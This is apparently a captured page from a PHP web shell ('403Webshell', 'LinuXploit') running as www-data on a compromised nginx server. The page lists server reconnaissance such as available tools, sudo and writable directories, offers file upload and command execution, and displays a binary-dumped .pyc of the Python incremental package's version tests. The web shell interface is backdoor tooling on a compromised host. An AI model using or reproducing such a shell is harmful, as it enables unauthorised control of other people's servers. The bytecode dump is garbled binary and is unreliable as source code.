403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/incremental/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/incremental/tests/__pycache__/test_version.cpython-314.pyc
+
HwihI��|�Rt^RIHtHt^RIt^RIt^RIt^RIt^RIHtH	t	^RIH
t
Ht^RIH
t
!RR]
4tR#)z
Tests for L{incremental}.
)�division�absolute_importN)�getVersionString�IncomparableVersions)�Version�_inf)�TestCasec�a�]tRt^toRtRt]P!]PR98R4R4t
RtRtRt
RtR	tR
tRtRtR
tRtRtRtRtRtRtRtRtRtRtRtRtRt Rt!Rt"Rt#Rt$Rt%R t&R!t'R"t(R#t)R$t*R%t+R&t,R't-R(t.R)t/R*t0R+t1R,t2R-t3R.t4R/t5R0t6R1t7R2t8R3t9R4t:R5t;R6t<R7t=Vt>R8#):�
VersionsTestsc
��\R^^^^^^R7pVPVP4VP44R#)z5
The local version is the same as the short version.
�dummy��release_candidate�post�devN)r�assertEqual�local�short)�self�vas& �@/usr/lib/python3/dist-packages/incremental/tests/test_version.py�test_localIsShort�VersionsTests.test_localIsShorts6���W�a��A����
J���������R�X�X�Z�0�c	�b�\R^^^4p\R^^^4pVPW8�4VPW!84VPW8�4VPW!8*4VPW8g4VPV\R^^^48H4VPW"8H4R#)z2
Versions can be compared for equality and order.
rN�r�
assertTrue�rr�vbs&  r�test_versionComparison�$VersionsTests.test_versionComparison����W�a��A�
&��
�W�a��A�
&������� ������ ������!������!������!�����g�g�q�!�Q�7�7�8������!rzComparisons do not raise on py2c�j�\R^^^4p\4pVP\4;_uu_4W8�RRR4VP\4;_uu_4W8RRR4VP\4;_uu_4W8�RRR4VP\4;_uu_4W8*RRR4VP	W8H4VPW8g4R# +'giL�;i +'giL�;i +'giL�;i +'giLq;i)z-
Versions can be compared with non-versions.
rN)r�object�assertRaises�	TypeError�assertFalser)r�v�os&  r� test_versionComparisonNonVersion�.VersionsTests.test_versionComparisonNonVersion+s���

�G�Q��1�%���H��
�
�
�y�
)�
)�
�E�*��
�
�y�
)�
)�
�E�*��
�
�y�
)�
)�
�F�*��
�
�y�
)�
)�
�F�*�	
����� �������*�
)��*�
)��*�
)��*�
)�s/�C)� C<�
D�4D"�)C9	�<D	�D	�"D2	c	�b�\R^^^4p\R^^^4pVPW8�4VPW!84VPW8�4VPW!8*4VPW8g4VPV\R^^^48H4VPW"8H4R#)z-
Version package names are case insensitive.
r�DuMmYNrrs&  r�%test_versionComparisonCaseInsensitive�3VersionsTests.test_versionComparisonCaseInsensitiveBr!rc��\RR^^4p\R^^^4pVPW8�4VPW84VPW!4R#)z9
NEXT releases are always larger than numbered releases.
�whatever�NEXTN�rrr&�assertNotEqualsrs&  r�test_comparingNEXTReleases�(VersionsTests.test_comparingNEXTReleasesPsP���Z���A�
.��
�Z��A�q�
)������� ������!����R�$rc��VP\4;_uu_4\RR^^^^^R7RRR4VP\4;_uu_4\RR^^^^^R7RRR4VP\4;_uu_4\RR^^^^^R7RRR4VP\4;_uu_4\RR^^^^^R7RRR4VP\4;_uu_4\RR^^^^^R7RRR4R# +'giL�;i +'giL�;i +'giL�;i +'giL�;i +'giR#;i)zB
NEXT releases must always have the rest of the numbers set to 0.
r0r1r
N�r$�
ValueErrorr�rs&r�test_NEXTMustBeAlone�"VersionsTests.test_NEXTMustBeAloneZs���
�
�z�
*�
*��J���1���q�Q�+��
�
�z�
*�
*��J���1���q�Q�+��
�
�z�
*�
*��J���1���q�Q�+��
�
�z�
*�
*��J���1���q�Q�+��
�
�z�
*�
*��J���1���q�Q�+�
*�+�
*��+�
*��+�
*��+�
*��+�
*�
*�s;�D�D.�E�E�>E'�D+	�.D>	�E	�E$	�'E8	c�`�\RR^^4p\RR^^4pVPW!4R#)z(
NEXT releases are equal to each other.
r0r1N)r�assertEqualsrs&  r�test_comparingNEXTReleasesEqual�-VersionsTests.test_comparingNEXTReleasesEqualms2���Z���A�
.��
�Z���A�
.�����"�!rc��\R^^^^R7p\R^^^4pVPW84VPW8�4VPW!4R#)z@
Prereleases are always less than versions without prereleases.
r0��
prereleaseNr2rs&  r�%test_comparingPrereleasesWithReleases�3VersionsTests.test_comparingPrereleasesWithReleasesusR���Z��A�q�Q�
7��
�Z��A�q�
)������� ������!����R�$rc��\R^^^^R7VP4pVP\V4^4VPV^,R,R4R#)z0
Passing 'prerelease' to Version is deprecated.
r0rA�messagezvPassing prerelease to incremental.Version was deprecated in Incremental 16.9.0. Please pass release_candidate instead.N)r�
flushWarningsr�len)r�warningss& r�test_prereleaseDeprecated�'VersionsTests.test_prereleaseDeprecatedsV��	�
�A�q�!��2��%�%�'������X���*�����Q�K�	�"�
I�	
rc���\R^^^^R7pVPVP4pVP\	V4^4VPV^,R,R4R#)z4
Accessing 'prerelease' on a Version is deprecated.
r0�rrFzuAccessing incremental.Version.prerelease was deprecated in Incremental 16.9.0. Use Version.release_candidate instead.N)rrBrGrrH)rrrIs&  r�"test_prereleaseAttributeDeprecated�0VersionsTests.test_prereleaseAttributeDeprecated�s_���Z��A�q�A�
>��
�
�
��%�%�'������X���*�����Q�K�	�"�
I�	
rc��\R^^^^R7p\R^^^4pVPW84VPW8�4VPW!4R#)zN
Release Candidates are always less than versions without release
candidates.
r0rMNr2rs&  r�+test_comparingReleaseCandidatesWithReleases�9VersionsTests.test_comparingReleaseCandidatesWithReleases�sR��
�Z��A�q�A�
>��
�Z��A�q�
)������� ������!����R�$rc��\R^^^^R7p\R^^^4pVPW8�4VPW84VPW!4R#)zG
Post releases are always greater than versions without post
releases.
r0�rNr2rs&  r�&test_comparingPostReleasesWithReleases�4VersionsTests.test_comparingPostReleasesWithReleases�sR��
�Z��A�q�q�
1��
�Z��A�q�
)������� ������!����R�$rc��\R^^^^R7p\R^^^^R7pVPW8�4VPW84VPW!4R#)zO
Dev releases are always greater than postreleases based on previous
releases.
r0�rrTNr2rs&  r�1test_comparingDevReleasesWithPreviousPostReleases�?VersionsTests.test_comparingDevReleasesWithPreviousPostReleases�sT��
�Z��A�q�a�
0��
�Z��A�q�q�
1������� ������!����R�$rc��\R^^^^R7p\R^^^4pVPW84VPW8�4VPW!4R#)zB
Dev releases are always less than versions without dev releases.
r0rXNr2rs&  r�%test_comparingDevReleasesWithReleases�3VersionsTests.test_comparingDevReleasesWithReleases�sR���Z��A�q�a�
0��
�Z��A�q�
)������� ������!����R�$rc��\R^^^^R7p\R^^^^R7pVPW8H4VPW8g4R#)z.
Release Candidates are equal to prereleases.
r0rMrAN)rrr&rs&  r�test_rcEqualspre�VersionsTests.test_rcEqualspre�sF���Z��A�q�A�
>��
�Z��A�q�Q�
7�������!������"rc��VP\4;_uu_4\R^^^^^R7RRR4R# +'giR#;i)z7
Release Candidate and prerelease can't both be given.
r0)rBrNr7r9s&r�test_rcOrpreButNotBoth�$VersionsTests.test_rcOrpreButNotBoth�s6���
�
�z�
*�
*��J��1�a�A��K�+�
*�
*�
*�s	�:�A	c�n�\R^^^^R7p\R^^^^R7pVPW84VPW!8�4VPW8*4VPW!8�4VPW8g4VPV\R^^^^R78H4VPW8H4R#)zN
The value specified as the release candidate is used in version
comparisons.
r0rMNrrs&  r�test_comparingReleaseCandidates�-VersionsTests.test_comparingReleaseCandidates�s���
�Z��A�q�A�
>��
�Z��A�q�A�
>������� ������ ������!������!������!�����g�j�!�Q��Q�O�O�P������!rc�n�\R^^^^R7p\R^^^^R7pVPW84VPW!8�4VPW8*4VPW!8�4VPW8g4VPV\R^^^^R78H4VPW8H4R#)zH
The value specified as the postrelease is used in version comparisons.
r0rTNrrs&  r�test_comparingPost� VersionsTests.test_comparingPost�s����Z��A�q�q�
1��
�Z��A�q�q�
1������� ������ ������!������!������!�����g�j�!�Q���B�B�C������!rc�n�\R^^^^R7p\R^^^^R7pVPW84VPW!8�4VPW8*4VPW!8�4VPW8g4VPV\R^^^^R78H4VPW8H4R#)zH
The value specified as the dev release is used in version comparisons.
r0rXNrrs&  r�test_comparingDev�VersionsTests.test_comparingDev�s����Z��A�q�a�
0��
�Z��A�q�a�
0������� ������ ������!������!������!�����g�j�!�Q��q�A�A�B������!rc�t�\R^^^^^R7p\R^^^^^R7pVPW84VPW!8�4VPW8*4VPW!8�4VPW8g4VPV\R^^^^^R78H4VPW8H4R#�z^
The value specified as the dev release and release candidate is used in
version comparisons.
r0�rrNrrs&  r�test_comparingDevAndRC�$VersionsTests.test_comparingDevAndRC���
�Z��A�q�A�1�
E��
�Z��A�q�A�1�
E������� ������ ������!������!������!�����g�j�!�Q��Q�TU�V�V�W������!rc�t�\R^^^^^R7p\R^^^^^R7pVPW84VPW!8�4VPW8*4VPW!8�4VPW8g4VPV\R^^^^^R78H4VPW8H4R#rnrrs&  r�test_comparingDevAndRCDifferent�-VersionsTests.test_comparingDevAndRCDifferentrrrc�R�VP\\4VP\\84VP\\8�4VP\\8�4VP\\8*4VP\\8g4R#)z:
L{_inf} is equal to L{_inf}.

This is a regression test.
N)rrr&rr9s&r�test_infComparisonSelf�$VersionsTests.test_infComparisonSelfsj��	
����t�$�������%�������%�������%�������%�������&rc�:�\4pVP\V8�4VP\V84VP\V8�4VP\V8*4VP\V8g4VP\V8H4R#)z+
L{_inf} is greater than any other object.
N)r#rrr&)rr(s& r�test_infComparison� VersionsTests.test_infComparison+sq��
�H������q��!�������"������	�"�������#������	�"�������#rc��VP\\P\	R^^^4\	R^^^44R#)z?
The package names of the Version objects need to be the same.
r�dumymN)r$r�operator�eqrr9s&r�test_disallowBuggyComparisons�+VersionsTests.test_disallowBuggyComparisons7s8��	
��� ��K�K��G�Q��1�%��G�Q��1�%�		
rc�p�\R^^^4pRpVPVPV4\4R#)zP
Comparing a L{Version} to some other object type results in
C{NotImplemented}.
rN)r��r�)rr�__cmp__�NotImplementedrs&  r�test_notImplementedComparisons�,VersionsTests.test_notImplementedComparisonsBs1��
�W�a��A�
&��
��������B���8rc
�T�VP\\R^^^44R4R#)z]
Calling C{repr} on a version returns a human-readable string
representation of the version.
rzVersion('dummy', 1, 2, 3)N�r�reprrr9s&r�	test_repr�VersionsTests.test_reprKs%��
	
����g�g�q�!�Q�7�8�:U�Vrc�X�VP\\R^^^^R74R4R#)z�
Calling C{repr} on a version with a prerelease returns a human-readable
string representation of the version including the prerelease as a
release candidate..
rrA�.Version('dummy', 1, 2, 3, release_candidate=4)Nr�r9s&r�test_reprWithPrerelease�%VersionsTests.test_reprWithPrereleaseRs*��	
������!�Q��a�8�9�<�	
rc�X�VP\\R^^^^R74R4R#)z�
Calling C{repr} on a version with a release candidate returns a
human-readable string representation of the version including the rc.
rrMr�Nr�r9s&r�test_reprWithReleaseCandidate�+VersionsTests.test_reprWithReleaseCandidate]s*��
	
������!�Q��Q�?�@�<�	
rc�X�VP\\R^^^^R74R4R#)z�
Calling C{repr} on a version with a postrelease returns a
human-readable string representation of the version including the
postrelease.
rrTz!Version('dummy', 1, 2, 3, post=4)Nr�r9s&r�test_reprWithPost�VersionsTests.test_reprWithPostgs*��	
������!�Q���2�3�5X�	
rc�X�VP\\R^^^^R74R4R#)z�
Calling C{repr} on a version with a dev release returns a
human-readable string representation of the version including the dev
release.
rrXz Version('dummy', 1, 2, 3, dev=4)Nr�r9s&r�test_reprWithDev�VersionsTests.test_reprWithDevqs*��	
������!�Q��q�1�2�4V�	
rc
�T�VP\\R^^^44R4R#)z\
Calling C{str} on a version returns a human-readable string
representation of the version.
rz[dummy, version 1.2.3]N�r�strrr9s&r�test_str�VersionsTests.test_str{s%��
	
����W�W�a��A�6�7�9Q�Rrc�X�VP\\R^^^^R74R4R#)z_
Calling C{str} on a version with a prerelease includes the prerelease
as a release candidate.
rrA�[dummy, version 1.0.0rc1]Nr�r9s&r�test_strWithPrerelease�$VersionsTests.test_strWithPrerelease�s*��
	
�������A�q�Q�7�8�:U�	
rc�X�VP\\R^^^^R74R4R#)zV
Calling C{str} on a version with a release candidate includes the
release candidate.
rrMr�Nr�r9s&r�test_strWithReleaseCandidate�*VersionsTests.test_strWithReleaseCandidate�s*��
	
�������A�q�A�>�?�'�	
rc�X�VP\\R^^^^R74R4R#)zJ
Calling C{str} on a version with a postrelease includes the
postrelease.
rrTz[dummy, version 1.0.0.post1]Nr�r9s&r�test_strWithPost�VersionsTests.test_strWithPost�s*��
	
�������A�q�q�1�2�4R�	
rc
�Z�VP\\R^^^^^R74R4R#)zz
Calling C{str} on a version with a release candidate and dev release
includes the release candidate and the dev release.
rroz[dummy, version 1.0.0rc1.dev2]Nr�r9s&r�"test_strWithDevAndReleaseCandidate�0VersionsTests.test_strWithDevAndReleaseCandidate�s,��
	
�������A�q�A�1�E�F�,�	
rc�X�VP\\R^^^^R74R4R#)zJ
Calling C{str} on a version with a dev release includes the dev
release.
rrXzummy, version 1.0.0.dev1]Nr�r9s&r�test_strWithDev�VersionsTests.test_strWithDev�s*��
	
�������A�q�a�0�1�3P�	
rc
�Z�VP\\R^^^^^R74R4R#)zn
Calling C{str} on a version with a postrelease and dev release
includes the postrelease and the dev release.
r�rrz![dummy, version 1.0.0.post1.dev2]Nr�r9s&r�test_strWithDevAndPost�$VersionsTests.test_strWithDevAndPost�s,��
	
�������A�q�q�a�8�9�/�	
rc�^�VP\R^^^4P4R4R#)rz1.2.3N)rrrr9s&r�	testShort�VersionsTests.testShort�s&�������!�Q��2�8�8�:�G�Drc�T�VPR\\R^^^444R#)zZ
L{getVersionString} returns a string with the package name and the
short version number.
z
Twisted 8.0.0�TwistedN�rrrr9s&r�test_getVersionString�#VersionsTests.test_getVersionString�s'��
	
����*:�7�9�a�QR�TU�;V�*W�Xrc�X�VP\\R^^^^R74R4R#)zM
L{getVersionString} includes the prerelease as a release candidate, if
any.
r0rA�whatever 8.0.0rc1Nr�r9s&r�#test_getVersionStringWithPrerelease�1VersionsTests.test_getVersionStringWithPrerelease�s*��
	
����W�Z��A�q�Q�G�H��	
rc�X�VP\\R^^^^R74R4R#)z=
L{getVersionString} includes the release candidate, if any.
r0rMr�Nr�r9s&r�)test_getVersionStringWithReleaseCandidate�7VersionsTests.test_getVersionStringWithReleaseCandidate�s*��	
����W�Z��A�q�A�N�O��	
rc�X�VP\\R^^^^R74R4R#)z7
L{getVersionString} includes the postrelease, if any.
r0rTzwhatever 8.0.0.post1Nr�r9s&r�test_getVersionStringWithPost�+VersionsTests.test_getVersionStringWithPost�s*��	
����W�Z��A�q�q�A�B�"�	
rc�X�VP\\R^^^^R74R4R#)z7
L{getVersionString} includes the dev release, if any.
r0rXzwhatever 8.0.0.dev1Nr�r9s&r�test_getVersionStringWithDev�*VersionsTests.test_getVersionStringWithDev�s*��	
����W�Z��A�q�a�@�A�CX�	
rc
�Z�VP\\R^^^^^R74R4R#)zM
L{getVersionString} includes the dev release and release candidate, if
any.
r0rozwhatever 8.0.0rc2.dev1Nr�r9s&r�!test_getVersionStringWithDevAndRC�/VersionsTests.test_getVersionStringWithDevAndRC�s-��
	
����W�Z��A�q�A�ST�U�V�$�	
rc
�Z�VP\\R^^^^^R74R4R#)zG
L{getVersionString} includes the dev release and postrelease, if
any.
r0r�zwhatever 8.0.0.post2.dev1Nr�r9s&r�#test_getVersionStringWithDevAndPost�1VersionsTests.test_getVersionStringWithDevAndPost�s,��
	
����W�Z��A�q�q�a�H�I�'�	
rc�^�VP\RR^^4P4R4R#)zH
The C{base} method returns just "NEXT" when NEXT is the major version.
�foor1N�rr�baser9s&r�test_baseWithNEXT�VersionsTests.test_baseWithNEXT�s(��	
�������1�5�:�:�<�f�Erc�^�VP\R^^^4P4R4R#)zI
The C{base} method returns a very simple representation of the version.
r�z1.0.0Nr�r9s&r�	test_base�VersionsTests.test_bases(��	
������1�a�0�5�5�7��Arc
�b�VP\R^^^^R7P4R4R#)�@
The base version includes 'rcX' for versions with prereleases.
r�rA�1.0.0rc8Nr�r9s&r�test_baseWithPrerelease�%VersionsTests.test_baseWithPrerelease	s*��	
������1�a�A�>�C�C�E�z�Rrc
�b�VP\R^^^^R7P4R4R#)zC
The base version includes 'postX' for versions with postreleases.
r�rTz1.0.0.post8Nr�r9s&r�test_baseWithPost�VersionsTests.test_baseWithPosts*��	
������1�a�a�8�=�=�?��Orc
�b�VP\R^^^^R7P4R4R#)zB
The base version includes 'devX' for versions with dev releases.
r�rXz
1.0.0.dev8Nr�r9s&r�test_baseWithDev�VersionsTests.test_baseWithDevs*��	
������1�a�Q�7�<�<�>��Mrc
�b�VP\R^^^^R7P4R4R#)r�r�rMr�Nr�r9s&r�test_baseWithReleaseCandidate�+VersionsTests.test_baseWithReleaseCandidates-��	
����E�1�a��a�8�=�=�?��	
rc�d�VP\R^^^^^R7P4R4R#)z]
The base version includes 'rcXdevX' for versions with dev releases and
a release candidate.
r�roz
1.0.0rc2.dev8Nr�r9s&r�test_baseWithDevAndRC�#VersionsTests.test_baseWithDevAndRC#s/��
	
����E�1�a��a�Q�?�D�D�F��	
rc�d�VP\R^^^^^R7P4R4R#)zY
The base version includes 'postXdevX' for versions with dev releases
and a postrelease.
r�r�z1.0.0.post2.dev8Nr�r9s&r�test_baseWithDevAndPost�%VersionsTests.test_baseWithDevAndPost,s0��
	
����E�1�a����2�7�7�9�;M�	
r�N)�)?�__name__�
__module__�__qualname__�__firstlineno__rr�unittest�skipIf�sys�version_infor)r-r4r:r>rCrJrNrQrUrYr\r_rbrerhrkrprtrwrzr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��__static_attributes__�__classdictcell__)�
__classdict__s@rr
r
sE����1�"��_�_�S�%�%��,�.O�P� �Q� �,"�%�R�&"�%�
�
�	%�	%�	%�%�#�L�
"�"�"�
"�
"�'�
$�	
�9�W�	
�
�
�
�S�
�
�
�
�
�
�E�Y�
�
�
�
�
�
�F�B�S�P�N�
�
�
�
rr
)�__doc__�
__future__rrr�r�r~�incrementalrrrr�twisted.trial.unittestrr
r�rr�<module>r�s2���1�
����>�%�+�^
�H�^
r

Youez - 2016 - github.com/yon3zu
LinuXploit